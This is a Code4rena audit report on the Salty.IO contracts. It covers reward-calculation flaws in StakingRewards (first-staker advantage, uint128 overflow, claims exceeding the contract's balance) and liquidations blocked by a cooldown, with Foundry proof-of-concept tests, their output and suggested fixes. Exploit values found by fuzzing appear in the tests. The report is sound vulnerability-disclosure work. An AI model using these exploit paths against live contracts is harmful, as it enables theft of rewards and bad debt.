Salty.IO - stackachu's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L57-L92

Vulnerability details

There are multiple issues when calculating virtual rewards in StakingRewards._increaseUserShare():

Virtual rewards are not added for the first staker in a pool:

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L78-L85

if ( existingTotalShares != 0 ) // prevent / 0
    {
    // Round up in favor of the protocol.
    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

    user.virtualRewards += uint128(virtualRewardsToAdd);
    totalRewards[poolID] += uint128(virtualRewardsToAdd);
    }

When the first staker stakes, existingTotalShares is 0, so no virtual rewards are added and they get the full reward that has been accumulated so far, giving them a larger reward share than following stakers.

According to the comment, this is a measure to avoid a division by zero. However, the relevant calculation to calculate virtualRewardsToAdd shouldn't divide by existingTotalShares in the first place. By calculating virtualRewardsToAdd as totalRewards[poolID] * increaseShareAmount / existingTotalShares (rounding up instead of down), virtualRewardsToAdd can be higher than totalRewards[poolID] if increaseShareAmount > existingTotalShares (which especially can be the case when the pool is new and doesn't have many stakers yet.

Later, virtualRewardsToAdd is added to totalRewards[poolID]. Because totalRewards[poolID] is only decreased when a user unstakes, it is possible that in subsequent calculations virtualRewardsToAdd becomes larger than type(uint128).max, which causes truncation when virtualRewardsToAdd is cast to uint128 and also can lead to the user.virtualRewards += uint128(virtualRewardsToAdd) operation overflowing.

Additionally, totalRewards[poolID] can become so large that individual users' reward shares can exceed the contract's SALT balance.

Impact

The fairness/correctness of the reward distribution is impacted:

• First stakers get a disproportionate share of the reward.
• Users can sometimes not claim their rewards because the reward share that was calculated for them exceeds the contract's SALT balance. However, they can just wait until enought SALT has been distributed to the contract and then withdraw all the SALT. This will happen on a first-come-first-served basis, because there will be not enough SALT to honour every user's claim. An attacker could force this situation by staking specific amounts into a pool, effectively stealing rewards from other users.
• Sometimes deposits might fail due to the uint128 overflow. However, specific amounts need to be staked for that to happen.

Proof of Concept

The following test cases can be added to https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/tests/StakingRewards.t.sol to demonstrate the issues:

function testRewardClaimMoreForFirstStaker() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 100 ether, true);

  // Bob stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 100 ether, true);

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  uint256 aliceSaltBalancePre = salt.balanceOf(alice);
  uint256 bobSaltBalancePre = salt.balanceOf(bob);

  // claim rewards
  vm.prank(alice);
  stakingRewards.claimAllRewards(claimPools);
  vm.prank(bob);
  stakingRewards.claimAllRewards(claimPools);

  // show result
  console.log("Alice SALT reward:", salt.balanceOf(alice) - aliceSaltBalancePre);
  console.log("Bob SALT reward:", salt.balanceOf(bob) - bobSaltBalancePre);

  // Alice's reward is greater than Bob's reward
  assertEq(salt.balanceOf(alice) - aliceSaltBalancePre, salt.balanceOf(bob) - bobSaltBalancePre + 10 * 1e18);
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testRewardClaimMoreForFirstStaker -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testRewardClaimMoreForFirstStaker() (gas: 246274)
Logs:
  Alice SALT reward: 15000000000000000000
  Bob SALT reward: 5000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.84s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

function testVirtualRewardOverflow() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  uint256 cooldown = stakingConfig.modificationCooldown();

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  vm.warp(block.timestamp + cooldown);

  // Alice stakes
  vm.prank(DEPLOYER);
  // approx. 7.5 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 7488136320796573910, true);

  vm.warp(block.timestamp + cooldown);

  // Alice stakes, causing an overflow
  vm.expectRevert(stdError.arithmeticError);
  vm.prank(DEPLOYER);
  // approx. 94.6 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 94596573755484965130, true);
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testVirtualRewardOverflow -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testVirtualRewardOverflow() (gas: 179979)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.87s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

function testTotalRewardsGreaterThanSaltBalance() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

  // Bob stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 1, true);

  // Charlie stakes
  vm.prank(DEPLOYER);
  // approx. 34 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(charlie, poolIDs[0], 34028236692093846347, true);

  // Charlie claims rewards (reverts because his rewards exceed the contract's SALT balance)
  vm.expectRevert("ERC20: transfer amount exceeds balance");
  vm.prank(charlie);
  stakingRewards.claimAllRewards(claimPools);

  console.log("Charlie's rewards:", stakingRewards.userRewardForPool(charlie, poolIDs[0]));
  console.log("SALT balance of stakingRewards:", salt.balanceOf(address(stakingRewards)));
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testTotalRewardsGreaterThanSaltBalance -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠘] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testTotalRewardsGreaterThanSaltBalance() (gas: 286134)
Logs:
  Charlie's rewards: 19999999999999999998
  SALT balance of stakingRewards: 10000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.16s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

I find the current method of using virtual rewards very hard to reason about. Thus I don't feel confident to suggest specific changes.

Instead I would suggest using an epoch- or cycle-based reward distribution mechanism:

• The reward distribution uses epochs that last e.g. one day or one week.
• Rewards that accrue during an epoch are distributed based on the value of the stakes at the start of the epoch.
• Unstaking requests are only fulfilled at the end of an epoch.

Assessed type

Math

Judge has assessed an item in Issue #957 as 2 risk. The relevant finding follows:

function testVirtualRewardOverflow() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward; addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32; claimPools[0] = poolIDs[0];

uint256 cooldown = stakingConfig.modificationCooldown();

// Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

// add rewards stakingRewards.addSALTRewards(addedRewards);

vm.warp(block.timestamp + cooldown);

// Alice stakes vm.prank(DEPLOYER); // approx. 7.5 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 7488136320796573910, true);

vm.warp(block.timestamp + cooldown);

// Alice stakes, causing an overflow vm.expectRevert(stdError.arithmeticError); vm.prank(DEPLOYER); // approx. 94.6 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 94596573755484965130, true); }

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

The CollateralAndLiquidity.liquidateUser() function calls StakingRewards._decreaseUserShare() to wipe out a user's share in the WBTC/WETH pool that they have used as collateral to borrow USDS. Because the useCooldown parameter is set to true, the call will fail if the user is currently in the cooldown period.

// Liquidate a position which has fallen under the minimum collateral ratio.
// A default 5% of the value of the collateral is sent to the caller, with the rest being sent to the Liquidator for later conversion to USDS which is then burned.
function liquidateUser( address wallet ) external nonReentrant
    {
    require( wallet != msg.sender, "Cannot liquidate self" );

    // First, make sure that the user's collateral ratio is below the required level
    require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

    [...]

    // Decrease the user's share of collateral as it has been liquidated and they no longer have it.
    _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

    [...]
    }

// Decrease a user's share for the pool and have any pending rewards sent to them.
// Does not require the pool to be valid (in case the pool was recently unwhitelisted).
function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
    {
    [...]

    UserShareInfo storage user = _userShareInfo[wallet][poolID];

    [...]

    if ( useCooldown )
    if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
        {
        require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

        // Update the cooldown expiration for future transactions
        user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
        }

    [...]
    }

The cooldown period starts when a user deposits or withdraws collateral. The cooldown period is set in the StakingConfig contract to be 1 hour by default (https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingConfig.sol#L31) but can be change to a value between 15 minutes and 6 hours by the DAO (https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingConfig.sol#L85-L99).

A user can avoid liquidation by depositing a minimal amount of collateral. However, when the cooldown period ends the user might need to frontrun a possible liquidation. Depending on the value of their collateral they might be financially incentivized to pay an additional gas fee or MEV bribe to ensure that the liquidation fails.

Impact

The protocol risks bad debt due to delayed or failed liquidations if the collateral value minus the liquidation reward falls below the value of the borrowed USDS while the liquidation is blocked. This can also affect the USDS peg given that USDS is backed by the collateral provided by the borrowers.

Proof of Concept

Add the following test to https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/tests/CollateralAndLiquidity.t.sol:

function testUserDepositBorrowDepositAndLiquidateBlockedByCooldown() public {
  // Bob deposits collateral so alice can be liquidated
  vm.startPrank(bob);
  collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false );
  vm.stopPrank();

  vm.startPrank( alice );
  uint256 wbtcDeposit = wbtc.balanceOf(alice) / 4;
  uint256 wethDeposit = weth.balanceOf(alice) / 4;

  collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );

  // Alice borrows USDS
  uint256 maxBorrowable = collateralAndLiquidity.maxBorrowableUSDS(alice);
  collateralAndLiquidity.borrowUSDS( maxBorrowable );

  vm.warp( block.timestamp + 1 days );

  // Try depositing again
  collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );
  vm.stopPrank();

  // Crash the collateral price so Alice's position can be liquidated
  _crashCollateralPrice();
  _crashCollateralPrice();
  _crashCollateralPrice();
  vm.warp( block.timestamp + 1 days );

  // Alice deposits minimal WBTC/WETH collateral to start the cooldown period
  vm.prank(alice);
  collateralAndLiquidity.depositCollateralAndIncreaseShare(1000, 1000, 0, block.timestamp, true );
  assertTrue(_userHasCollateral(alice));
  // Alice is liquidatable
  assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice));

  // Liquidate Alice's position - fails because Alice is in cooldown
  vm.expectRevert( "Must wait for the cooldown to expire" );
  collateralAndLiquidity.liquidateUser(alice);
}

Run the test with:

COVERAGE=no forge test --match-path src/stable/tests/CollateralAndLiquidity.t.sol --match-test testUserDepositBorrowDepositAndLiquidateBlockedByCooldown -vvv --fork-url https://eth-sepolia-public.unifra.io

A fork URL (Sepolia RPC endpoint) and the COVERAGE env variable must be specified for the test to work.

Recommended Mitigation Steps

• CollateralAndLiquidity.liquidateUser() should call _decreaseUserShare() with useCooldown set to false. This ensures that liquidations cannot be blocked by the cooldown period. The cooldown mechanism should not be needed in this case.

Assessed type

Other

Judge has assessed an item in Issue #957 as 2 risk. The relevant finding follows:

function testTotalRewardsGreaterThanSaltBalance() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward; addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32; claimPools[0] = poolIDs[0];

// add rewards stakingRewards.addSALTRewards(addedRewards);

// Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

// Bob stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 1, true);

// Charlie stakes vm.prank(DEPLOYER); // approx. 34 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(charlie, poolIDs[0], 34028236692093846347, true);

// Charlie claims rewards (reverts because his rewards exceed the contract's SALT balance) vm.expectRevert("ERC20: transfer amount exceeds balance"); vm.prank(charlie); stakingRewards.claimAllRewards(claimPools);

console.log("Charlie's rewards:", stakingRewards.userRewardForPool(charlie, poolIDs[0])); console.log("SALT balance of stakingRewards:", salt.balanceOf(address(stakingRewards))); }